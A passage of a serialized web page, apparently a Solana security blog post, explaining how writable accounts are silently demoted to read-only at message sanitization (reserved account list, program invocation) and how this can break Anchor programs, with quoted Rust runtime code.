hildren":71674},{"style":514},[71675],{"type":28,"value":517},{"type":23,"tag":481,"props":71677,"children":71678},{"style":943},[71679],{"type":28,"value":40992},{"type":23,"tag":481,"props":71681,"children":71682},{"style":514},[71683],{"type":28,"value":1006},{"type":23,"tag":481,"props":71685,"children":71686},{"style":610},[71687],{"type":28,"value":13842},{"type":23,"tag":481,"props":71689,"children":71690},{"style":525},[71691],{"type":28,"value":11367},{"type":23,"tag":481,"props":71693,"children":71694},{"style":514},[71695],{"type":28,"value":670},{"type":23,"tag":481,"props":71697,"children":71698},{"style":525},[71699],{"type":28,"value":528},{"type":23,"tag":481,"props":71701,"children":71702},{"class":483,"line":784},[71703,71707,71712,71716,71720,71724,71728,71732,71736,71740],{"type":23,"tag":481,"props":71704,"children":71705},{"style":497},[71706],{"type":28,"value":9274},{"type":23,"tag":481,"props":71708,"children":71709},{"style":508},[71710],{"type":28,"value":71711}," balance_after",{"type":23,"tag":481,"props":71713,"children":71714},{"style":514},[71715],{"type":28,"value":517},{"type":23,"tag":481,"props":71717,"children":71718},{"style":508},[71719],{"type":28,"value":120},{"type":23,"tag":481,"props":71721,"children":71722},{"style":514},[71723],{"type":28,"value":199},{"type":23,"tag":481,"props":71725,"children":71726},{"style":610},[71727],{"type":28,"value":13001},{"type":23,"tag":481,"props":71729,"children":71730},{"style":525},[71731],{"type":28,"value":11531},{"type":23,"tag":481,"props":71733,"children":71734},{"style":514},[71735],{"type":28,"value":1930},{"type":23,"tag":481,"props":71737,"children":71738},{"style":508},[71739],{"type":28,"value":70732},{"type":23,"tag":481,"props":71741,"children":71742},{"style":525},[71743],{"type":28,"value":528},{"type":23,"tag":481,"props":71745,"children":71746},{"class":483,"line":812},[71747,71751,71755,71759,71763],{"type":23,"tag":481,"props":71748,"children":71749},{"style":943},[71750],{"type":28,"value":17987},{"type":23,"tag":481,"props":71752,"children":71753},{"style":525},[71754],{"type":28,"value":618},{"type":23,"tag":481,"props":71756,"children":71757},{"style":508},[71758],{"type":28,"value":10440},{"type":23,"tag":481,"props":71760,"children":71761},{"style":514},[71762],{"type":28,"value":199},{"type":23,"tag":481,"props":71764,"children":71765},{"style":525},[71766],{"type":28,"value":71767},"is_writable\n",{"type":23,"tag":481,"props":71769,"children":71770},{"class":483,"line":825},[71771,71775,71779,71783,71788,71792,71797,71801,71805,71809,71813],{"type":23,"tag":481,"props":71772,"children":71773},{"style":514},[71774],{"type":28,"value":13111},{"type":23,"tag":481,"props":71776,"children":71777},{"style":508},[71778],{"type":28,"value":70421},{"type":23,"tag":481,"props":71780,"children":71781},{"style":514},[71782],{"type":28,"value":199},{"type":23,"tag":481,"props":71784,"children":71785},{"style":610},[71786],{"type":28,"value":71787},"is_exempt",{"type":23,"tag":481,"props":71789,"children":71790},{"style":525},[71791],{"type":28,"value":618},{"type":23,"tag":481,"props":71793,"children":71794},{"style":508},[71795],{"type":28,"value":71796},"balance_after",{"type":23,"tag":481,"props":71798,"children":71799},{"style":525},[71800],{"type":28,"value":588},{"type":23,"tag":481,"props":71802,"children":71803},{"style":508},[71804],{"type":28,"value":10440},{"type":23,"tag":481,"props":71806,"children":71807},{"style":514},[71808],{"type":28,"value":199},{"type":23,"tag":481,"props":71810,"children":71811},{"style":610},[71812],{"type":28,"value":11294},{"type":23,"tag":481,"props":71814,"children":71815},{"style":525},[71816],{"type":28,"value":13150},{"type":23,"tag":481,"props":71818,"children":71819},{"class":483,"line":843},[71820,71824,71828,71833,71837,71841],{"type":23,"tag":481,"props":71821,"children":71822},{"style":514},[71823],{"type":28,"value":13111},{"type":23,"tag":481,"props":71825,"children":71826},{"style":514},[71827],{"type":28,"value":10351},{"type":23,"tag":481,"props":71829,"children":71830},{"style":610},[71831],{"type":28,"value":71832},"is_program",{"type":23,"tag":481,"props":71834,"children":71835},{"style":525},[71836],{"type":28,"value":618},{"type":23,"tag":481,"props":71838,"children":71839},{"style":508},[71840],{"type":28,"value":10440},{"type":23,"tag":481,"props":71842,"children":71843},{"style":525},[71844],{"type":28,"value":17209},{"type":23,"tag":481,"props":71846,"children":71847},{"class":483,"line":864},[71848],{"type":23,"tag":481,"props":71849,"children":71850},{"style":525},[71851],{"type":28,"value":1443},{"type":23,"tag":24,"props":71853,"children":71854},{},[71855],{"type":28,"value":71856},"Now we’re safe...right?",{"type":23,"tag":7092,"props":71858,"children":71860},{"id":71859},"bug-3-the-write-demotion-trap",[71861],{"type":28,"value":71862},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":71864,"children":71865},{},[71866,71868,71873,71875,71880],{"type":28,"value":71867},"On Solana, accounts passed as ",{"type":23,"tag":2875,"props":71869,"children":71870},{},[71871],{"type":28,"value":71872},"writable",{"type":28,"value":71874}," in a transaction can be ",{"type":23,"tag":2875,"props":71876,"children":71877},{},[71878],{"type":28,"value":71879},"silently downgraded to read-only",{"type":28,"value":71881},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":71883,"children":71884},{},[71885,71887,71894],{"type":28,"value":71886},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":190,"props":71888,"children":71891},{"href":71889,"rel":71890},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[194],[71892],{"type":28,"value":71893},"MessageV0",{"type":28,"value":71895},", but legacy is simpler to follow):",{"type":23,"tag":435,"props":71897,"children":71899},{"className":475,"code":71898,"language":474,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[71900],{"type":23,"tag":64,"props":71901,"children":71902},{"__ignoreMap":7},[71903,71911,71935,72023,72044,72056,72072,72088,72136,72165,72219,72255,72263,72300,72312,72350,72362,72369,72376,72383,72390,72398,72458,72511],{"type":23,"tag":481,"props":71904,"children":71905},{"class":483,"line":484},[71906],{"type":23,"tag":481,"props":71907,"children":71908},{"style":488},[71909],{"type":28,"value":71910},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":481,"props":71912,"children":71913},{"class":483,"line":351},[71914,71918,71923,71927,71931],{"type":23,"tag":481,"props":71915,"children":71916},{"style":497},[71917],{"type":28,"value":25706},{"type":23,"tag":481,"props":71919,"children":71920},{"style":943},[71921],{"type":28,"value":71922}," LegacyMessage",{"type":23,"tag":481,"props":71924,"children":71925},{"style":525},[71926],{"type":28,"value":20421},{"type":23,"tag":481,"props":71928,"children":71929},{"style":943},[71930],{"type":28,"value":593},{"type":23,"tag":481,"props":71932,"children":71933},{"style":525},[71934],{"type":28,"value":4759},{"type":23,"tag":481,"props":71936,"children":71937},{"class":483,"line":531},[71938,71942,71946,71950,71954,71958,71962,71967,71971,71976,71980,71985,71989,71993,71998,72002,72006,72010,72014,72019],{"type":23,"tag":481,"props":71939,"children":71940},{"style":497},[71941],{"type":28,"value":18341},{"type":23,"tag":481,"props":71943,"children":71944},{"style":497},[71945],{"type":28,"value":11183},{"type":23,"tag":481,"props":71947,"children":71948},{"style":610},[71949],{"type":28,"value":29448},{"type":23,"tag":481,"props":71951,"children":71952},{"style":525},[71953],{"type":28,"value":618},{"type":23,"tag":481,"props":71955,"children":71956},{"style":508},[71957],{"type":28,"value":65566},{"type":23,"tag":481,"props":71959,"children":71960},{"style":514},[71961],{"type":28,"value":287},{"type":23,"tag":481,"props":71963,"children":71964},{"style":525},[71965],{"type":28,"value":71966}," legacy",{"type":23,"tag":481,"props":71968,"children":71969},{"style":514},[71970],{"type":28,"value":1006},{"type":23,"tag":481,"props":71972,"children":71973},{"style":943},[71974],{"type":28,"value":71975},"Message",{"type":23,"tag":481,"props":71977,"children":71978},{"style":525},[71979],{"type":28,"value":588},{"type":23,"tag":481,"props":71981,"children":71982},{"style":508},[71983],{"type":28,"value":71984},"reserved_account_keys",{"type":23,"tag":481,"props":71986,"children":71987},{"style":514},[71988],{"type":28,"value":287},{"type":23,"tag":481,"props":71990,"children":71991},{"style":514},[71992],{"type":28,"value":4619},{"type":23,"tag":481,"props":71994,"children":71995},{"style":943},[71996],{"type":28,"value":71997},"HashSet",{"type":23,"tag":481,"props":71999,"children":72000},{"style":525},[72001],{"type":28,"value":3282},{"type":23,"tag":481,"props":72003,"children":72004},{"style":943},[72005],{"type":28,"value":18896},{"type":23,"tag":481,"props":72007,"children":72008},{"style":525},[72009],{"type":28,"value":17944},{"type":23,"tag":481,"props":72011,"children":72012},{"style":514},[72013],{"type":28,"value":11245},{"type":23,"tag":481,"props":72015,"children":72016},{"style":497},[72017],{"type":28,"value":72018}," Self",{"type":23,"tag":481,"props":72020,"children":72021},{"style":525},[72022],{"type":28,"value":809},{"type":23,"tag":481,"props":72024,"children":72025},{"class":483,"line":567},[72026,72030,72035,72039],{"type":23,"tag":481,"props":72027,"children":72028},{"style":497},[72029],{"type":28,"value":573},{"type":23,"tag":481,"props":72031,"children":72032},{"style":508},[72033],{"type":28,"value":72034}," is_writable_account_cache",{"type":23,"tag":481,"props":72036,"children":72037},{"style":514},[72038],{"type":28,"value":517},{"type":23,"tag":481,"props":72040,"children":72041},{"style":508},[72042],{"type":28,"value":72043}," message\n",{"type":23,"tag":481,"props":72045,"children":72046},{"class":483,"line":678},[72047,72051],{"type":23,"tag":481,"props":72048,"children":72049},{"style":514},[72050],{"type":28,"value":684},{"type":23,"tag":481,"props":72052,"children":72053},{"style":525},[72054],{"type":28,"value":72055},"account_keys\n",{"type":23,"tag":481,"props":72057,"children":72058},{"class":483,"line":784},[72059,72063,72068],{"type":23,"tag":481,"props":72060,"children":72061},{"style":514},[72062],{"type":28,"value":684},{"type":23,"tag":481,"props":72064,"children":72065},{"style":610},[72066],{"type":28,"value":72067},"iter",{"type":23,"tag":481,"props":72069,"children":72070},{"style":525},[72071],{"type":28,"value":5214},{"type":23,"tag":481,"props":72073,"children":72074},{"class":483,"line":812},[72075,72079,72084],{"type":23,"tag":481,"props":72076,"children":72077},{"style":514},[72078],{"type":28,"value":684},{"type":23,"tag":481,"props":72080,"children":72081},{"style":610},[72082],{"type":28,"value":72083},"enumerate",{"type":23,"tag":481,"props":72085,"children":72086},{"style":525},[72087],{"type":28,"value":5214},{"type":23,"tag":481,"props":72089,"children":72090},{"class":483,"line":825},[72091,72095,72099,72103,72107,72111,72115,72119,72124,72128,72132],{"type":23,"tag":481,"props":72092,"children":72093},{"style":514},[72094],{"type":28,"value":684},{"type":23,"tag":481,"props":72096,"children":72097},{"style":610},[72098],{"type":28,"value":64631},{"type":23,"tag":481,"props":72100,"children":72101},{"style":525},[72102],{"type":28,"value":618},{"type":23,"tag":481,"props":72104,"children":72105},{"style":514},[72106],{"type":28,"value":7901},{"type":23,"tag":481,"props":72108,"children":72109},{"style":525},[72110],{"type":28,"value":618},{"type":23,"tag":481,"props":72112,"children":72113},{"style":508},[72114],{"type":28,"value":1274},{"type":23,"tag":481,"props":72116,"children":72117},{"style":525},[72118],{"type":28,"value":588},{"type":23,"tag":481,"props":72120,"children":72121},{"style":508},[72122],{"type":28,"value":72123},"_key",{"type":23,"tag":481,"props":72125,"children":72126},{"style":525},[72127],{"type":28,"value":642},{"type":23,"tag":481,"props":72129,"children":72130},{"style":514},[72131],{"type":28,"value":7901},{"type":23,"tag":481,"props":72133,"children":72134},{"style":525},[72135],{"type":28,"value":809},{"type":23,"tag":481,"props":72137,"children":72138},{"class":483,"line":843},[72139,72144,72148,72153,72157,72161],{"type":23,"tag":481,"props":72140,"children":72141},{"style":508},[72142],{"type":28,"value":72143}," message",{"type":23,"tag":481,"props":72145,"children":72146},{"style":514},[72147],{"type":28,"value":199},{"type":23,"tag":481,"props":72149,"children":72150},{"style":610},[72151],{"type":28,"value":72152},"is_writable_index",{"type":23,"tag":481,"props":72154,"children":72155},{"style":525},[72156],{"type":28,"value":618},{"type":23,"tag":481,"props":72158,"children":72159},{"style":508},[72160],{"type":28,"value":1274},{"type":23,"tag":481,"props":72162,"children":72163},{"style":525},[72164],{"type":28,"value":675},{"type":23,"tag":481,"props":72166,"children":72167},{"class":483,"line":864},[72168,72173,72177,72181,72185,72190,72194,72198,72202,72206,72211,72215],{"type":23,"tag":481,"props":72169,"children":72170},{"style":514},[72171],{"type":28,"value":72172}," &&",{"type":23,"tag":481,"props":72174,"children":72175},{"style":514},[72176],{"type":28,"value":10351},{"type":23,"tag":481,"props":72178,"children":72179},{"style":508},[72180],{"type":28,"value":71984},{"type":23,"tag":481,"props":72182,"children":72183},{"style":514},[72184],{"type":28,"value":199},{"type":23,"tag":481,"props":72186,"children":72187},{"style":610},[72188],{"type":28,"value":72189},"contains",{"type":23,"tag":481,"props":72191,"children":72192},{"style":525},[72193],{"type":28,"value":618},{"type":23,"tag":481,"props":72195,"children":72196},{"style":514},[72197],{"type":28,"value":623},{"type":23,"tag":481,"props":72199,"children":72200},{"style":508},[72201],{"type":28,"value":65566},{"type":23,"tag":481,"props":72203,"children":72204},{"style":514},[72205],{"type":28,"value":199},{"type":23,"tag":481,"props":72207,"children":72208},{"style":525},[72209],{"type":28,"value":72210},"account_keys[",{"type":23,"tag":481,"props":72212,"children":72213},{"style":508},[72214],{"type":28,"value":1274},{"type":23,"tag":481,"props":72216,"children":72217},{"style":525},[72218],{"type":28,"value":52967},{"type":23,"tag":481,"props":72220,"children":72221},{"class":483,"line":873},[72222,72226,72230,72234,72238,72243,72247,72251],{"type":23,"tag":481,"props":72223,"children":72224},{"style":514},[72225],{"type":28,"value":72172},{"type":23,"tag":481,"props":72227,"children":72228},{"style":514},[72229],{"type":28,"value":10351},{"type":23,"tag":481,"props":72231,"children":72232},{"style":508},[72233],{"type":28,"value":65566},{"type":23,"tag":481,"props":72235,"children":72236},{"style":514},[72237],{"type":28,"value":199},{"type":23,"tag":481,"props":72239,"children":72240},{"style":610},[72241],{"type":28,"value":72242},"demote_program_id",{"type":23,"tag":481,"props":72244,"children":72245},{"style":525},[72246],{"type":28,"value":618},{"type":23,"tag":481,"props":72248,"children":72249},{"style":508},[72250],{"type":28,"value":1274},{"type":23,"tag":481,"props":72252,"children":72253},{"style":525},[72254],{"type":28,"value":675},{"type":23,"tag":481,"props":72256,"children":72257},{"class":483,"line":1125},[72258],{"type":23,"tag":481,"props":72259,"children":72260},{"style":525},[72261],{"type":28,"value":72262}," })\n",{"type":23,"tag":481,"props":72264,"children":72265},{"class":483,"line":1142},[72266,72270,72275,72279,72283,72287,72291,72295],{"type":23,"tag":481,"props":72267,"children":72268},{"style":514},[72269],{"type":28,"value":684},{"type":23,"tag":481,"props":72271,"children":72272},{"style":610},[72273],{"type":28,"value":72274},"collect",{"type":23,"tag":481,"props":72276,"children":72277},{"style":514},[72278],{"type":28,"value":1006},{"type":23,"tag":481,"props":72280,"children":72281},{"style":525},[72282],{"type":28,"value":3282},{"type":23,"tag":481,"props":72284,"children":72285},{"style":943},[72286],{"type":28,"value":14703},{"type":23,"tag":481,"props":72288,"children":72289},{"style":525},[72290],{"type":28,"value":3282},{"type":23,"tag":481,"props":72292,"children":72293},{"style":508},[72294],{"type":28,"value":593},{"type":23,"tag":481,"props":72296,"children":72297},{"style":525},[72298],{"type":28,"value":72299},">>();\n",{"type":23,"tag":481,"props":72301,"children":72302},{"class":483,"line":1159},[72303,72308],{"type":23,"tag":481,"props":72304,"children":72305},{"style":497},[72306],{"type":28,"value":72307}," Self",{"type":23,"tag":481,"props":72309,"children":72310},{"style":525},[72311],{"type":28,"value":809},{"type":23,"tag":481,"props":72313,"children":72314},{"class":483,"line":1172},[72315,72320,72324,72329,72333,72338,72342,72346],{"type":23,"tag":481,"props":72316,"children":72317},{"style":508},[72318],{"type":28,"value":72319}," message",{"type":23,"tag":481,"props":72321,"children":72322},{"style":514},[72323],{"type":28,"value":287},{"type":23,"tag":481,"props":72325,"children":72326},{"style":943},[72327],{"type":28,"value":72328}," Cow",{"type":23,"tag":481,"props":72330,"children":72331},{"style":514},[72332],{"type":28,"value":1006},{"type":23,"tag":481,"props":72334,"children":72335},{"style":610},[72336],{"type":28,"value":72337},"Owned",{"type":23,"tag":481,"props":72339,"children":72340},{"style":525},[72341],{"type":28,"value":618},{"type":23,"tag":481,"props":72343,"children":72344},{"style":508},[72345],{"type":28,"value":65566},{"type":23,"tag":481,"props":72347,"children":72348},{"style":525},[72349],{"type":28,"value":4214},{"type":23,"tag":481,"props":72351,"children":72352},{"class":483,"line":1181},[72353,72358],{"type":23,"tag":481,"props":72354,"children":72355},{"style":508},[72356],{"type":28,"value":72357}," is_writable_account_cache",{"type":23,"tag":481,"props":72359,"children":72360},{"style":525},[72361],{"type":28,"value":1033},{"type":23,"tag":481,"props":72363,"children":72364},{"class":483,"line":1204},[72365],{"type":23,"tag":481,"props":72366,"children":72367},{"style":525},[72368],{"type":28,"value":870},{"type":23,"tag":481,"props":72370,"children":72371},{"class":483,"line":1213},[72372],{"type":23,"tag":481,"props":72373,"children":72374},{"style":525},[72375],{"type":28,"value":879},{"type":23,"tag":481,"props":72377,"children":72378},{"class":483,"line":1222},[72379],{"type":23,"tag":481,"props":72380,"children":72381},{"style":525},[72382],{"type":28,"value":1443},{"type":23,"tag":481,"props":72384,"children":72385},{"class":483,"line":1291},[72386],{"type":23,"tag":481,"props":72387,"children":72388},{"emptyLinePlaceholder":15},[72389],{"type":28,"value":1210},{"type":23,"tag":481,"props":72391,"children":72392},{"class":483,"line":1299},[72393],{"type":23,"tag":481,"props":72394,"children":72395},{"style":488},[72396],{"type":28,"value":72397},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":481,"props":72399,"children":72400},{"class":483,"line":1329},[72401,72405,72409,72414,72418,72422,72426,72430,72434,72438,72442,72446,72450,72454],{"type":23,"tag":481,"props":72402,"children":72403},{"style":497},[72404],{"type":28,"value":11178},{"type":23,"tag":481,"props":72406,"children":72407},{"style":497},[72408],{"type":28,"value":11183},{"type":23,"tag":481,"props":72410,"children":72411},{"style":610},[72412],{"type":28,"value":72413}," demote_program_id",{"type":23,"tag":481,"props":72415,"children":72416},{"style":525},[72417],{"type":28,"value":618},{"type":23,"tag":481,"props":72419,"children":72420},{"style":514},[72421],{"type":28,"value":623},{"type":23,"tag":481,"props":72423,"children":72424},{"style":497},[72425],{"type":28,"value":11201},{"type":23,"tag":481,"props":72427,"children":72428},{"style":525},[72429],{"type":28,"value":588},{"type":23,"tag":481,"props":72431,"children":72432},{"style":508},[72433],{"type":28,"value":1274},{"type":23,"tag":481,"props":72435,"children":72436},{"style":514},[72437],{"type":28,"value":287},{"type":23,"tag":481,"props":72439,"children":72440},{"style":943},[72441],{"type":28,"value":11219},{"type":23,"tag":481,"props":72443,"children":72444},{"style":525},[72445],{"type":28,"value":598},{"type":23,"tag":481,"props":72447,"children":72448},{"style":514},[72449],{"type":28,"value":11245},{"type":23,"tag":481,"props":72451,"children":72452},{"style":943},[72453],{"type":28,"value":9537},{"type":23,"tag":481,"props":72455,"children":72456},{"style":525},[72457],{"type":28,"value":809},{"type":23,"tag":481,"props":72459,"children":72460},{"class":483,"line":1337},[72461,72465,72469,72474,72478,72482,72486,72490,72494,72498,72502,72507],{"type":23,"tag":481,"props":72462,"children":72463},{"style":497},[72464],{"type":28,"value":18284},{"type":23,"tag":481,"props":72466,"children":72467},{"style":514},[72468],{"type":28,"value":199},{"type":23,"tag":481,"props":72470,"children":72471},{"style":610},[72472],{"type":28,"value":72473},"is_key_called_as_program",{"type":23,"tag":481,"props":72475,"children":72476},{"style":525},[72477],{"type":28,"value":618},{"type":23,"tag":481,"props":72479,"children":72480},{"style":508},[72481],{"type":28,"value":1274},{"type":23,"tag":481,"props":72483,"children":72484},{"style":525},[72485],{"type":28,"value":598},{"type":23,"tag":481,"props":72487,"children":72488},{"style":514},[72489],{"type":28,"value":70727},{"type":23,"tag":481,"props":72491,"children":72492},{"style":514},[72493],{"type":28,"value":10351},{"type":23,"tag":481,"props":72495,"children":72496},{"style":497},[72497],{"type":28,"value":11201},{"type":23,"tag":481,"props":72499,"children":72500},{"style":514},[72501],{"type":28,"value":199},{"type":23,"tag":481,"props":72503,"children":72504},{"style":610},[72505],{"type":28,"value":72506},"is_upgradeable_loader_present",{"type":23,"tag":481,"props":72508,"children":72509},{"style":525},[72510],{"type":28,"value":5214},{"type":23,"tag":481,"props":72512,"children":72513},{"class":483,"line":1369},[72514],{"type":23,"tag":481,"props":72515,"children":72516},{"style":525},[72517],{"type":28,"value":1443},{"type":23,"tag":24,"props":72519,"children":72520},{},[72521],{"type":28,"value":72522},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":73,"props":72524,"children":72525},{},[72526,72538],{"type":23,"tag":77,"props":72527,"children":72528},{},[72529,72531],{"type":28,"value":72530},"The account appears in the ",{"type":23,"tag":190,"props":72532,"children":72535},{"href":72533,"rel":72534},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[194],[72536],{"type":28,"value":72537},"reserved account list",{"type":23,"tag":77,"props":72539,"children":72540},{},[72541],{"type":28,"value":72542},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":72544,"children":72545},{},[72546],{"type":28,"value":72547},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":72549,"children":72550},{},[72551],{"type":28,"value":72552},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":16388,"props":72554,"children":72556},{"id":72555},"the-reserved-account-list",[72557],{"type":28,"value":72558},"The Reserved Account List",{"type":23,"tag":24,"props":72560,"children":72561},{},[72562,72564,72569],{"type":28,"value":72563},"The Solana runtime maintains a ",{"type":23,"tag":190,"props":72565,"children":72567},{"href":72533,"rel":72566},[194],[72568],{"type":28,"value":72537},{"type":28,"value":72570},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":72572,"children":72573},{},[72574,72576,72583,72585,72590],{"type":28,"value":72575},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":190,"props":72577,"children":72580},{"href":72578,"rel":72579},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[194],[72581],{"type":28,"value":72582},"feature gate is actived",{"type":28,"value":72584},", the runtime will ",{"type":23,"tag":2875,"props":72586,"children":72587},{},[72588],{"type":28,"value":72589},"automatically demote them to read-only",{"type":28,"value":72591},", even if the transaction marked them as writable.",{"type":23,"tag":435,"props":72593,"children":72595},{"className":475,"code":72594,"language":474,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[72596],{"type":23,"tag":64,"props":72597,"children":72598},{"__ignoreMap":7},[72599,72607,72615,72639,72693,72731,72760],{"type":23,"tag":481,"props":72600,"children":72601},{"class":483,"line":484},[72602],{"type":23,"tag":481,"props":72603,"children":72604},{"style":488},[72605],{"type":28,"value":72606},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":481,"props":72608,"children":72609},{"class":483,"line":351},[72610],{"type":23,"tag":481,"props":72611,"children":72612},{"style":488},[72613],{"type":28,"value":72614},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":481,"props":72616,"children":72617},{"class":483,"line":531},[72618,72622,72626,72631,72635],{"type":23,"tag":481,"props":72619,"children":72620},{"style":497},[72621],{"type":28,"value":11201},{"type":23,"tag":481,"props":72623,"children":72624},{"style":514},[72625],{"type":28,"value":199},{"type":23,"tag":481,"props":72627,"children":72628},{"style":525},[72629],{"type":28,"value":72630},"reserved_account_keys ",{"type":23,"tag":481,"props":72632,"children":72633},{"style":514},[72634],{"type":28,"value":603},{"type":23,"tag":481,"props":72636,"children":72637},{"style":525},[72638],{"type":28,"value":809},{"type":23,"tag":481,"props":72640,"children":72641},{"class":483,"line":567},[72642,72646,72650,72655,72659,72664,72668,72672,72676,72680,72684,72688],{"type":23,"tag":481,"props":72643,"children":72644},{"style":497},[72645],{"type":28,"value":500},{"type":23,"tag":481,"props":72647,"children":72648},{"style":497},[72649],{"type":28,"value":505},{"type":23,"tag":481,"props":72651,"children":72652},{"style":508},[72653],{"type":28,"value":72654}," reserved_keys",{"type":23,"tag":481,"props":72656,"children":72657},{"style":514},[72658],{"type":28,"value":517},{"type":23,"tag":481,"props":72660,"children":72661},{"style":943},[72662],{"type":28,"value":72663}," ReservedAccountKeys",{"type":23,"tag":481,"props":72665,"children":72666},{"style":514},[72667],{"type":28,"value":1006},{"type":23,"tag":481,"props":72669,"children":72670},{"style":610},[72671],{"type":28,"value":12909},{"type":23,"tag":481,"props":72673,"children":72674},{"style":525},[72675],{"type":28,"value":618},{"type":23,"tag":481,"props":72677,"children":72678},{"style":514},[72679],{"type":28,"value":623},{"type":23,"tag":481,"props":72681,"children":72682},{"style":497},[72683],{"type":28,"value":11201},{"type":23,"tag":481,"props":72685,"children":72686},{"style":514},[72687],{"type":28,"value":199},{"type":23,"tag":481,"props":72689,"children":72690},{"style":525},[72691],{"type":28,"value":72692},"reserved_account_keys);\n",{"type":23,"tag":481,"props":72694,"children":72695},{"class":483,"line":678},[72696,72701,72705,72710,72714,72718,72722,72726],{"type":23,"tag":481,"props":72697,"children":72698},{"style":508},[72699],{"type":28,"value":72700}," reserved_keys",{"type":23,"tag":481,"props":72702,"children":72703},{"style":514},[72704],{"type":28,"value":199},{"type":23,"tag":481,"props":72706,"children":72707},{"style":610},[72708],{"type":28,"value":72709},"update_active_set",{"type":23,"tag":481,"props":72711,"children":72712},{"style":525},[72713],{"type":28,"value":618},{"type":23,"tag":481,"props":72715,"children":72716},{"style":514},[72717],{"type":28,"value":623},{"type":23,"tag":481,"props":72719,"children":72720},{"style":497},[72721],{"type":28,"value":11201},{"type":23,"tag":481,"props":72723,"children":72724},{"style":514},[72725],{"type":28,"value":199},{"type":23,"tag":481,"props":72727,"children":72728},{"style":525},[72729],{"type":28,"value":72730},"feature_set);\n",{"type":23,"tag":481,"props":72732,"children":72733},{"class":483,"line":784},[72734,72739,72743,72747,72751,72756],{"type":23,"tag":481,"props":72735,"children":72736},{"style":943},[72737],{"type":28,"value":72738}," Arc",{"type":23,"tag":481,"props":72740,"children":72741},{"style":514},[72742],{"type":28,"value":1006},{"type":23,"tag":481,"props":72744,"children":72745},{"style":610},[72746],{"type":28,"value":12611},{"type":23,"tag":481,"props":72748,"children":72749},{"style":525},[72750],{"type":28,"value":618},{"type":23,"tag":481,"props":72752,"children":72753},{"style":508},[72754],{"type":28,"value":72755},"reserved_keys",{"type":23,"tag":481,"props":72757,"children":72758},{"style":525},[72759],{"type":28,"value":675},{"type":23,"tag":481,"props":72761,"children":72762},{"class":483,"line":812},[72763],{"type":23,"tag":481,"props":72764,"children":72765},{"style":525},[72766],{"type":28,"value":14068},{"type":23,"tag":16388,"props":72768,"children":72770},{"id":72769},"consequences-silent-failures-and-bricked-programs",[72771],{"type":28,"value":72772},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":72774,"children":72775},{},[72776],{"type":28,"value":72777},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":435,"props":72779,"children":72781},{"className":475,"code":72780,"language":474,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[72782],{"type":23,"tag":64,"props":72783,"children":72784},{"__ignoreMap":7},[72785,72800,72827,72842,72881,72888,72935,72966,72973,72988,73019,73026,73041,73072],{"type":23,"tag":481,"props":72786,"children":72787},{"class":483,"line":484},[72788,72792,72796],{"type":23,"tag":481,"props":72789,"children":72790},{"style":525},[72791],{"type":28,"value":20336},{"type":23,"tag":481,"props":72793,"children":72794},{"style":943},[72795],{"type":28,"value":20341},{"type":23,"tag":481,"props":72797,"children":72798},{"style":525},[72799],{"type":28,"value":17756},{"type":23,"tag":481,"props":72801,"children":72802},{"class":483,"line":351},[72803,72807,72811,72815,72819,72823],{"type":23,"tag":481,"props":72804,"children":72805},{"style":497},[72806],{"type":28,"value":11178},{"type":23,"tag":481,"props":72808,"children":72809},{"style":497},[72810],{"type":28,"value":18649},{"type":23,"tag":481,"props":72812,"children":72813},{"style":943},[72814],{"type":28,"value":68840},{"type":23,"tag":481,"props":72816,"children":72817},{"style":525